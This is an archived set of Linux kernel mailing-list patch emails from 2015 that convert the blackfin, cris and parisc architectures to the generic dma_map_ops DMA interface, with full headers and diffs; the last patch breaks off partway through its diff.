From - Thu Nov 08 21:38:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.ports.sparc,gmane.linux.kernel.iommu
Subject: [PATCH 04/16] blackfin: convert to dma_map_ops
Date: Mon,  9 Nov 2015 19:17:09 +0100
Lines: 263
Approved: news@gmane.org
Message-ID: <1447093041-21832-5-git-send-email-hch@lst.de>
References: <1447093041-21832-1-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1447093350 18619 80.91.229.3 (9 Nov 2015 18:22:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 9 Nov 2015 18:22:30 +0000 (UTC)
To: Andrew Morton <akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>,
	Haavard Skinnemoen <hskinnemoen-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
	Hans-Christian Egtvedt <egtvedt-BrfabpQBY5qlHtIdYg32fQ@public.gmane.org>,
	Steven Miao <realmz6-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
	Ley Foon Tan <lftan-EIB2kfCEclfQT0dZR+AlfA@public.gmane.org>,
	David Howells <dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>,
	Koichi Yasutake <yasutake.koichi-NAum8xwdG0+S7A1Ibl2khg@public.gmane.org>,
	Chris Metcalf <cmetcalf-d5a29ZRxExrQT0dZR+AlfA@public.gmane.org>,
	linux-snps-arc-IAPFreCvJWPLiZjB17Co1B2eb7JE58TQ@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Mon Nov 09 19:22:23 2015
Return-path: <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glkm-linux-metag-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1Zvr50-00059O-Rb
	for glkm-linux-metag-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Mon, 09 Nov 2015 19:22:11 +0100
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1752780AbbKISWH (ORCPT <rfc822;glkm-linux-metag@m.gmane.org>);
	Mon, 9 Nov 2015 13:22:07 -0500
Original-Received: from bombadil.infradead.org ([198.137.202.9]:58022 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752778AbbKISWF (ORCPT
	<rfc822;linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Mon, 9 Nov 2015 13:22:05 -0500
Original-Received: from [83.175.99.196] (helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
	id 1Zvr4k-0003MP-FR; Mon, 09 Nov 2015 18:21:55 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1447093041-21832-1-git-send-email-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by bombadil.infradead.org
	See http://www.infradead.org/rpr.html
Original-Sender: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-metag.vger.kernel.org>
X-Mailing-List: linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.metag:650 gmane.linux.ports.parisc:26133 gmane.linux.ports.sparc:21737 gmane.linux.kernel.iommu:11443
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.metag/650>

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 arch/blackfin/Kconfig                   |   1 +
 arch/blackfin/include/asm/dma-mapping.h | 127 +-------------------------------
 arch/blackfin/kernel/dma-mapping.c      |  52 +++++++++----
 3 files changed, 43 insertions(+), 137 deletions(-)

diff --git a/arch/blackfin/Kconfig b/arch/blackfin/Kconfig
index af76634..d3c68dd 100644
--- a/arch/blackfin/Kconfig
+++ b/arch/blackfin/Kconfig
@@ -40,6 +40,7 @@ config BLACKFIN
 	select HAVE_MOD_ARCH_SPECIFIC
 	select MODULES_USE_ELF_RELA
 	select HAVE_DEBUG_STACKOVERFLOW
+	select HAVE_DMA_ATTRS
 
 config GENERIC_CSUM
 	def_bool y
diff --git a/arch/blackfin/include/asm/dma-mapping.h b/arch/blackfin/include/asm/dma-mapping.h
index 054d9ec..ea5a2e8 100644
--- a/arch/blackfin/include/asm/dma-mapping.h
+++ b/arch/blackfin/include/asm/dma-mapping.h
@@ -8,36 +8,6 @@
 #define _BLACKFIN_DMA_MAPPING_H
 
 #include <asm/cacheflush.h>
-struct scatterlist;
-
-void *dma_alloc_coherent(struct device *dev, size_t size,
-			 dma_addr_t *dma_handle, gfp_t gfp);
-void dma_free_coherent(struct device *dev, size_t size, void *vaddr,
-		       dma_addr_t dma_handle);
-
-/*
- * Now for the API extensions over the pci_ one
- */
-#define dma_alloc_noncoherent(d, s, h, f) dma_alloc_coherent(d, s, h, f)
-#define dma_free_noncoherent(d, s, v, h) dma_free_coherent(d, s, v, h)
-#define dma_supported(d, m)         (1)
-
-static inline int
-dma_set_mask(struct device *dev, u64 dma_mask)
-{
-	if (!dev->dma_mask || !dma_supported(dev, dma_mask))
-		return -EIO;
-
-	*dev->dma_mask = dma_mask;
-
-	return 0;
-}
-
-static inline int
-dma_mapping_error(struct device *dev, dma_addr_t dma_addr)
-{
-	return 0;
-}
 
 extern void
 __dma_sync(dma_addr_t addr, size_t size, enum dma_data_direction dir);
@@ -66,102 +36,13 @@ _dma_sync(dma_addr_t addr, size_t size, enum dma_data_direction dir)
 		__dma_sync(addr, size, dir);
 }
 
-static inline dma_addr_t
-dma_map_single(struct device *dev, void *ptr, size_t size,
-	       enum dma_data_direction dir)
-{
-	_dma_sync((dma_addr_t)ptr, size, dir);
-	return (dma_addr_t) ptr;
-}
-
-static inline dma_addr_t
-dma_map_page(struct device *dev, struct page *page,
-	     unsigned long offset, size_t size,
-	     enum dma_data_direction dir)
-{
-	return dma_map_single(dev, page_address(page) + offset, size, dir);
-}
-
-static inline void
-dma_unmap_single(struct device *dev, dma_addr_t dma_addr, size_t size,
-		 enum dma_data_direction dir)
-{
-	BUG_ON(!valid_dma_direction(dir));
-}
-
-static inline void
-dma_unmap_page(struct device *dev, dma_addr_t dma_addr, size_t size,
-	       enum dma_data_direction dir)
-{
-	dma_unmap_single(dev, dma_addr, size, dir);
-}
-
-extern int dma_map_sg(struct device *dev, struct scatterlist *sg, int nents,
-		      enum dma_data_direction dir);
-
-static inline void
-dma_unmap_sg(struct device *dev, struct scatterlist *sg,
-	     int nhwentries, enum dma_data_direction dir)
-{
-	BUG_ON(!valid_dma_direction(dir));
-}
-
-static inline void
-dma_sync_single_range_for_cpu(struct device *dev, dma_addr_t handle,
-			      unsigned long offset, size_t size,
-			      enum dma_data_direction dir)
-{
-	BUG_ON(!valid_dma_direction(dir));
-}
-
-static inline void
-dma_sync_single_range_for_device(struct device *dev, dma_addr_t handle,
-				 unsigned long offset, size_t size,
-				 enum dma_data_direction dir)
-{
-	_dma_sync(handle + offset, size, dir);
-}
+extern struct dma_map_ops bfin_dma_ops;
 
-static inline void
-dma_sync_single_for_cpu(struct device *dev, dma_addr_t handle, size_t size,
-			enum dma_data_direction dir)
+static inline struct dma_map_ops *get_dma_ops(struct device *dev)
 {
-	dma_sync_single_range_for_cpu(dev, handle, 0, size, dir);
+	return &bfin_dma_ops;
 }
 
-static inline void
-dma_sync_single_for_device(struct device *dev, dma_addr_t handle, size_t size,
-			   enum dma_data_direction dir)
-{
-	dma_sync_single_range_for_device(dev, handle, 0, size, dir);
-}
-
-static inline void
-dma_sync_sg_for_cpu(struct device *dev, struct scatterlist *sg, int nents,
-		    enum dma_data_direction dir)
-{
-	BUG_ON(!valid_dma_direction(dir));
-}
-
-extern void
-dma_sync_sg_for_device(struct device *dev, struct scatterlist *sg,
-		       int nents, enum dma_data_direction dir);
-
-static inline void
-dma_cache_sync(struct device *dev, void *vaddr, size_t size,
-	       enum dma_data_direction dir)
-{
-	_dma_sync((dma_addr_t)vaddr, size, dir);
-}
-
-/* drivers/base/dma-mapping.c */
-extern int dma_common_mmap(struct device *dev, struct vm_area_struct *vma,
-			   void *cpu_addr, dma_addr_t dma_addr, size_t size);
-extern int dma_common_get_sgtable(struct device *dev, struct sg_table *sgt,
-				  void *cpu_addr, dma_addr_t dma_addr,
-				  size_t size);
-
-#define dma_mmap_coherent(d, v, c, h, s) dma_common_mmap(d, v, c, h, s)
-#define dma_get_sgtable(d, t, v, h, s) dma_common_get_sgtable(d, t, v, h, s)
+#include <asm-generic/dma-mapping-common.h>
 
 #endif				/* _BLACKFIN_DMA_MAPPING_H */
diff --git a/arch/blackfin/kernel/dma-mapping.c b/arch/blackfin/kernel/dma-mapping.c
index df437e5..771afe6 100644
--- a/arch/blackfin/kernel/dma-mapping.c
+++ b/arch/blackfin/kernel/dma-mapping.c
@@ -78,8 +78,8 @@ static void __free_dma_pages(unsigned long addr, unsigned int pages)
 	spin_unlock_irqrestore(&dma_page_lock, flags);
 }
 
-void *dma_alloc_coherent(struct device *dev, size_t size,
-			 dma_addr_t *dma_handle, gfp_t gfp)
+static void *bfin_dma_alloc(struct device *dev, size_t size,
+		dma_addr_t *dma_handle, gfp_t gfp, struct dma_attrs *attrs)
 {
 	void *ret;
 
@@ -92,15 +92,12 @@ void *dma_alloc_coherent(struct device *dev, size_t size,
 
 	return ret;
 }
-EXPORT_SYMBOL(dma_alloc_coherent);
 
-void
-dma_free_coherent(struct device *dev, size_t size, void *vaddr,
-		  dma_addr_t dma_handle)
+static void bfin_dma_free(struct device *dev, size_t size, void *vaddr,
+		  dma_addr_t dma_handle, struct dma_attrs *attrs)
 {
 	__free_dma_pages((unsigned long)vaddr, get_pages(size));
 }
-EXPORT_SYMBOL(dma_free_coherent);
 
 /*
  * Streaming DMA mappings
@@ -112,9 +109,9 @@ void __dma_sync(dma_addr_t addr, size_t size,
 }
 EXPORT_SYMBOL(__dma_sync);
 
-int
-dma_map_sg(struct device *dev, struct scatterlist *sg_list, int nents,
-	   enum dma_data_direction direction)
+static int bfin_dma_map_sg(struct device *dev, struct scatterlist *sg_list,
+		int nents, enum dma_data_direction direction,
+		struct dma_attrs *attrs)
 {
 	struct scatterlist *sg;
 	int i;
@@ -126,10 +123,10 @@ dma_map_sg(struct device *dev, struct scatterlist *sg_list, int nents,
 
 	return nents;
 }
-EXPORT_SYMBOL(dma_map_sg);
 
-void dma_sync_sg_for_device(struct device *dev, struct scatterlist *sg_list,
-			    int nelems, enum dma_data_direction direction)
+static void bfin_dma_sync_sg_for_device(struct device *dev,
+		struct scatterlist *sg_list, int nelems,
+		enum dma_data_direction direction)
 {
 	struct scatterlist *sg;
 	int i;
@@ -139,4 +136,31 @@ void dma_sync_sg_for_device(struct device *dev, struct scatterlist *sg_list,
 		__dma_sync(sg_dma_address(sg), sg_dma_len(sg), direction);
 	}
 }
-EXPORT_SYMBOL(dma_sync_sg_for_device);
+
+static dma_addr_t bfin_dma_map_page(struct device *dev, struct page *page,
+		unsigned long offset, size_t size, enum dma_data_direction dir,
+		struct dma_attrs *attrs)
+{
+	dma_addr_t handle = (dma_addr_t)(page_address(page) + offset);
+
+	_dma_sync(handle, size, dir);
+	return handle;
+}
+
+static inline void bfin_dma_sync_single_for_device(struct device *dev,
+		dma_addr_t handle, size_t size, enum dma_data_direction dir)
+{
+	_dma_sync(handle, size, dir);
+}
+
+struct dma_map_ops bfin_dma_ops = {
+	.alloc			= bfin_dma_alloc,
+	.free			= bfin_dma_free,
+
+	.map_page		= bfin_dma_map_page,
+	.map_sg			= bfin_dma_map_sg,
+
+	.sync_single_for_device	= bfin_dma_sync_single_for_device,
+	.sync_sg_for_device	= bfin_dma_sync_sg_for_device,
+};
+EXPORT_SYMBOL(bfin_dma_ops);
-- 
1.9.1


From - Thu Nov 08 21:38:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.kernel.metag,gmane.linux.ports.sparc,gmane.linux.kernel.iommu
Subject: [PATCH 06/16] cris: convert to dma_map_ops
Date: Mon,  9 Nov 2015 19:17:11 +0100
Lines: 288
Approved: news@gmane.org
Message-ID: <1447093041-21832-7-git-send-email-hch@lst.de>
References: <1447093041-21832-1-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1447093355 18700 80.91.229.3 (9 Nov 2015 18:22:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 9 Nov 2015 18:22:35 +0000 (UTC)
To: Andrew Morton <akpm@linux-foundation.org>,
	Haavard Skinnemoen <hskinnemoen@gmail.com>,
	Hans-Christian Egtvedt <egtvedt@samfundet.no>,
	Steven Miao <realmz6@gmail.com>,
	Ley Foon Tan <lftan@altera.com>,
	David Howells <dhowells@redhat.com>,
	Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
	Chris Metcalf <cmetcalf@ezchip.com>,
	linux-snps-arc@lists.infraded.org, linux-c6x-dev@linux-c6x.org,
	linux-cris-kernel@axis.com, linux-parisc@vger.kernel.org,
	linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
	sparclinux@vger.kernel.org, iommu@lists.linux-foundation.org
Original-X-From: linux-m68k-owner@vger.kernel.org Mon Nov 09 19:22:28 2015
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1Zvr56-00059O-69
	for glpm-linux-m68k@plane.gmane.org; Mon, 09 Nov 2015 19:22:16 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752791AbbKISWL (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Mon, 9 Nov 2015 13:22:11 -0500
Original-Received: from bombadil.infradead.org ([198.137.202.9]:58165 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751892AbbKISWJ (ORCPT
	<rfc822;linux-m68k@lists.linux-m68k.org>);
	Mon, 9 Nov 2015 13:22:09 -0500
Original-Received: from [83.175.99.196] (helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
	id 1Zvr4q-0003RU-SW; Mon, 09 Nov 2015 18:22:01 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1447093041-21832-1-git-send-email-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org
	See http://www.infradead.org/rpr.html
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:7590 gmane.linux.ports.parisc:26134 gmane.linux.kernel.metag:651 gmane.linux.ports.sparc:21738 gmane.linux.kernel.iommu:11444
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/7590>

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/cris/Kconfig                    |   1 +
 arch/cris/arch-v32/drivers/pci/dma.c |  54 +++++++++---
 arch/cris/include/asm/dma-mapping.h  | 161 ++---------------------------------
 3 files changed, 51 insertions(+), 165 deletions(-)

diff --git a/arch/cris/Kconfig b/arch/cris/Kconfig
index e086f9e..f5dd700 100644
--- a/arch/cris/Kconfig
+++ b/arch/cris/Kconfig
@@ -69,6 +69,7 @@ config CRIS
 	select GENERIC_CLOCKEVENTS if ETRAX_ARCH_V32
 	select GENERIC_SCHED_CLOCK if ETRAX_ARCH_V32
 	select HAVE_DEBUG_BUGVERBOSE if ETRAX_ARCH_V32
+	select HAVE_DMA_ATTRS
 
 config HZ
 	int
diff --git a/arch/cris/arch-v32/drivers/pci/dma.c b/arch/cris/arch-v32/drivers/pci/dma.c
index ee55578..8d5efa5 100644
--- a/arch/cris/arch-v32/drivers/pci/dma.c
+++ b/arch/cris/arch-v32/drivers/pci/dma.c
@@ -16,21 +16,18 @@
 #include <linux/gfp.h>
 #include <asm/io.h>
 
-void *dma_alloc_coherent(struct device *dev, size_t size,
-			   dma_addr_t *dma_handle, gfp_t gfp)
+static void *v32_dma_alloc(struct device *dev, size_t size,
+		dma_addr_t *dma_handle, gfp_t gfp,  struct dma_attrs *attrs)
 {
 	void *ret;
-	int order = get_order(size);
+
 	/* ignore region specifiers */
 	gfp &= ~(__GFP_DMA | __GFP_HIGHMEM);
 
-	if (dma_alloc_from_coherent(dev, size, dma_handle, &ret))
-		return ret;
-
 	if (dev == NULL || (dev->coherent_dma_mask < 0xffffffff))
 		gfp |= GFP_DMA;
 
-	ret = (void *)__get_free_pages(gfp, order);
+	ret = (void *)__get_free_pages(gfp,  get_order(size));
 
 	if (ret != NULL) {
 		memset(ret, 0, size);
@@ -39,12 +36,45 @@ void *dma_alloc_coherent(struct device *dev, size_t size,
 	return ret;
 }
 
-void dma_free_coherent(struct device *dev, size_t size,
-			 void *vaddr, dma_addr_t dma_handle)
+static void v32_dma_free(struct device *dev, size_t size, void *vaddr,
+		dma_addr_t dma_handle, struct dma_attrs *attrs)
+{
+	free_pages((unsigned long)vaddr, get_order(size));
+}
+
+static inline dma_addr_t v32_dma_map_page(struct device *dev,
+		struct page *page, unsigned long offset, size_t size,
+		enum dma_data_direction direction,
+		struct dma_attrs *attrs)
 {
-	int order = get_order(size);
+	return page_to_phys(page) + offset;
+}
 
-	if (!dma_release_from_coherent(dev, order, vaddr))
-		free_pages((unsigned long)vaddr, order);
+static inline int v32_dma_map_sg(struct device *dev, struct scatterlist *sg,
+		int nents, enum dma_data_direction direction,
+		struct dma_attrs *attrs)
+{
+	printk("Map sg\n");
+	return nents;
+}
+
+static inline int v32_dma_supported(struct device *dev, u64 mask)
+{
+        /*
+         * we fall back to GFP_DMA when the mask isn't all 1s,
+         * so we can't guarantee allocations that must be
+         * within a tighter range than GFP_DMA..
+         */
+        if (mask < 0x00ffffff)
+                return 0;
+	return 1;
 }
 
+struct dma_map_ops v32_dma_ops = {
+	.alloc			= v32_dma_alloc,
+	.free			= v32_dma_free,
+	.map_page		= v32_dma_map_page,
+	.map_sg                 = v32_dma_map_sg,
+	.dma_supported		= v32_dma_supported,
+};
+EXPORT_SYMBOL(v32_dma_ops);
diff --git a/arch/cris/include/asm/dma-mapping.h b/arch/cris/include/asm/dma-mapping.h
index 57f794e..34e7c7c 100644
--- a/arch/cris/include/asm/dma-mapping.h
+++ b/arch/cris/include/asm/dma-mapping.h
@@ -1,156 +1,22 @@
-/* DMA mapping. Nothing tricky here, just virt_to_phys */
-
 #ifndef _ASM_CRIS_DMA_MAPPING_H
 #define _ASM_CRIS_DMA_MAPPING_H
 
-#include <linux/mm.h>
-#include <linux/kernel.h>
-#include <linux/scatterlist.h>
-
-#include <asm/cache.h>
-#include <asm/io.h>
-
-#define dma_alloc_noncoherent(d, s, h, f) dma_alloc_coherent(d, s, h, f)
-#define dma_free_noncoherent(d, s, v, h) dma_free_coherent(d, s, v, h)
-
 #ifdef CONFIG_PCI
-#include <asm-generic/dma-coherent.h>
-
-void *dma_alloc_coherent(struct device *dev, size_t size,
-			   dma_addr_t *dma_handle, gfp_t flag);
+extern struct dma_map_ops v32_dma_ops;
 
-void dma_free_coherent(struct device *dev, size_t size,
-			 void *vaddr, dma_addr_t dma_handle);
-#else
-static inline void *
-dma_alloc_coherent(struct device *dev, size_t size, dma_addr_t *dma_handle,
-                   gfp_t flag)
+static inline struct dma_map_ops *get_dma_ops(struct device *dev)
 {
-        BUG();
-        return NULL;
+	return &v32_dma_ops;
 }
-
-static inline void
-dma_free_coherent(struct device *dev, size_t size, void *cpu_addr,
-                    dma_addr_t dma_handle)
+#else
+static inline struct dma_map_ops *get_dma_ops(struct device *dev)
 {
-        BUG();
+	BUG();
+	return NULL;
 }
 #endif
-static inline dma_addr_t
-dma_map_single(struct device *dev, void *ptr, size_t size,
-	       enum dma_data_direction direction)
-{
-	BUG_ON(direction == DMA_NONE);
-	return virt_to_phys(ptr);
-}
-
-static inline void
-dma_unmap_single(struct device *dev, dma_addr_t dma_addr, size_t size,
-		 enum dma_data_direction direction)
-{
-	BUG_ON(direction == DMA_NONE);
-}
-
-static inline int
-dma_map_sg(struct device *dev, struct scatterlist *sg, int nents,
-	   enum dma_data_direction direction)
-{
-	printk("Map sg\n");
-	return nents;
-}
-
-static inline dma_addr_t
-dma_map_page(struct device *dev, struct page *page, unsigned long offset,
-	     size_t size, enum dma_data_direction direction)
-{
-	BUG_ON(direction == DMA_NONE);
-	return page_to_phys(page) + offset;
-}
-
-static inline void
-dma_unmap_page(struct device *dev, dma_addr_t dma_address, size_t size,
-	       enum dma_data_direction direction)
-{
-	BUG_ON(direction == DMA_NONE);
-}
-
-
-static inline void
-dma_unmap_sg(struct device *dev, struct scatterlist *sg, int nhwentries,
-	     enum dma_data_direction direction)
-{
-	BUG_ON(direction == DMA_NONE);
-}
-
-static inline void
-dma_sync_single_for_cpu(struct device *dev, dma_addr_t dma_handle, size_t size,
-			enum dma_data_direction direction)
-{
-}
-
-static inline void
-dma_sync_single_for_device(struct device *dev, dma_addr_t dma_handle, size_t size,
-			enum dma_data_direction direction)
-{
-}
-
-static inline void
-dma_sync_single_range_for_cpu(struct device *dev, dma_addr_t dma_handle,
-			      unsigned long offset, size_t size,
-			      enum dma_data_direction direction)
-{
-}
 
-static inline void
-dma_sync_single_range_for_device(struct device *dev, dma_addr_t dma_handle,
-				 unsigned long offset, size_t size,
-				 enum dma_data_direction direction)
-{
-}
-
-static inline void
-dma_sync_sg_for_cpu(struct device *dev, struct scatterlist *sg, int nelems,
-		    enum dma_data_direction direction)
-{
-}
-
-static inline void
-dma_sync_sg_for_device(struct device *dev, struct scatterlist *sg, int nelems,
-		    enum dma_data_direction direction)
-{
-}
-
-static inline int
-dma_mapping_error(struct device *dev, dma_addr_t dma_addr)
-{
-	return 0;
-}
-
-static inline int
-dma_supported(struct device *dev, u64 mask)
-{
-        /*
-         * we fall back to GFP_DMA when the mask isn't all 1s,
-         * so we can't guarantee allocations that must be
-         * within a tighter range than GFP_DMA..
-         */
-        if(mask < 0x00ffffff)
-                return 0;
-
-	return 1;
-}
-
-static inline int
-dma_set_mask(struct device *dev, u64 mask)
-{
-	if(!dev->dma_mask || !dma_supported(dev, mask))
-		return -EIO;
-
-	*dev->dma_mask = mask;
-
-	return 0;
-}
+#include <asm-generic/dma-mapping-common.h>
 
 static inline void
 dma_cache_sync(struct device *dev, void *vaddr, size_t size,
@@ -158,15 +24,4 @@ dma_cache_sync(struct device *dev, void *vaddr, size_t size,
 {
 }
 
-/* drivers/base/dma-mapping.c */
-extern int dma_common_mmap(struct device *dev, struct vm_area_struct *vma,
-			   void *cpu_addr, dma_addr_t dma_addr, size_t size);
-extern int dma_common_get_sgtable(struct device *dev, struct sg_table *sgt,
-				  void *cpu_addr, dma_addr_t dma_addr,
-				  size_t size);
-
-#define dma_mmap_coherent(d, v, c, h, s) dma_common_mmap(d, v, c, h, s)
-#define dma_get_sgtable(d, t, v, h, s) dma_common_get_sgtable(d, t, v, h, s)
-
-
 #endif
-- 
1.9.1


From - Thu Nov 08 21:38:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.ports.parisc,gmane.linux.kernel.metag,gmane.linux.kernel.iommu
Subject: [PATCH 09/16] parisc: convert to dma_map_ops
Date: Mon,  9 Nov 2015 19:17:14 +0100
Lines: 722
Approved: news@gmane.org
Message-ID: <1447093041-21832-10-git-send-email-hch@lst.de>
References: <1447093041-21832-1-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1447093356 18711 80.91.229.3 (9 Nov 2015 18:22:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 9 Nov 2015 18:22:36 +0000 (UTC)
To: Andrew Morton <akpm@linux-foundation.org>,
	Haavard Skinnemoen <hskinnemoen@gmail.com>,
	Hans-Christian Egtvedt <egtvedt@samfundet.no>,
	Steven Miao <realmz6@gmail.com>,
	Ley Foon Tan <lftan@altera.com>,
	David Howells <dhowells@redhat.com>,
	Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
	Chris Metcalf <cmetcalf@ezchip.com>,
	linux-snps-arc@lists.infraded.org, linux-c6x-dev@linux-c6x.org,
	linux-cris-kernel@axis.com, linux-parisc@vger.kernel.org,
	linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
	sparclinux@vger.kernel.org, iommu@lists.linux-foundation.org
Original-X-From: sparclinux-owner@vger.kernel.org Mon Nov 09 19:22:28 2015
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1Zvr5D-00059O-PV
	for lnx-sparclinux@plane.gmane.org; Mon, 09 Nov 2015 19:22:24 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752660AbbKISWW (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
	Mon, 9 Nov 2015 13:22:22 -0500
Original-Received: from bombadil.infradead.org ([198.137.202.9]:58450 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752426AbbKISWU (ORCPT
	<rfc822;sparclinux@vger.kernel.org>); Mon, 9 Nov 2015 13:22:20 -0500
Original-Received: from [83.175.99.196] (helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
	id 1Zvr51-0003ZN-CT; Mon, 09 Nov 2015 18:22:12 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1447093041-21832-1-git-send-email-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org
	See http://www.infradead.org/rpr.html
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:21739 gmane.linux.ports.parisc:26135 gmane.linux.kernel.metag:652 gmane.linux.kernel.iommu:11445
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/21739>

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/parisc/Kconfig                   |   2 +
 arch/parisc/include/asm/dma-mapping.h | 189 ++--------------------------------
 arch/parisc/kernel/drivers.c          |   2 +-
 arch/parisc/kernel/pci-dma.c          |  92 ++++++++++-------
 drivers/parisc/ccio-dma.c             |  57 +++++-----
 drivers/parisc/sba_iommu.c            |  52 +++++-----
 6 files changed, 124 insertions(+), 270 deletions(-)

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index c365469..bdabfcd 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -29,6 +29,8 @@ config PARISC
 	select TTY # Needed for pdc_cons.c
 	select HAVE_DEBUG_STACKOVERFLOW
 	select HAVE_ARCH_AUDITSYSCALL
+	select ARCH_NO_COHERENT_DMA_MMAP
+	select HAVE_DMA_ATTRS
 
 	help
 	  The PA-RISC microprocessor is designed by Hewlett-Packard and used
diff --git a/arch/parisc/include/asm/dma-mapping.h b/arch/parisc/include/asm/dma-mapping.h
index d8d60a5..4de5186 100644
--- a/arch/parisc/include/asm/dma-mapping.h
+++ b/arch/parisc/include/asm/dma-mapping.h
@@ -1,30 +1,11 @@
 #ifndef _PARISC_DMA_MAPPING_H
 #define _PARISC_DMA_MAPPING_H
 
-#include <linux/mm.h>
-#include <linux/scatterlist.h>
 #include <asm/cacheflush.h>
 
-/* See Documentation/DMA-API-HOWTO.txt */
-struct hppa_dma_ops {
-	int  (*dma_supported)(struct device *dev, u64 mask);
-	void *(*alloc_consistent)(struct device *dev, size_t size, dma_addr_t *iova, gfp_t flag);
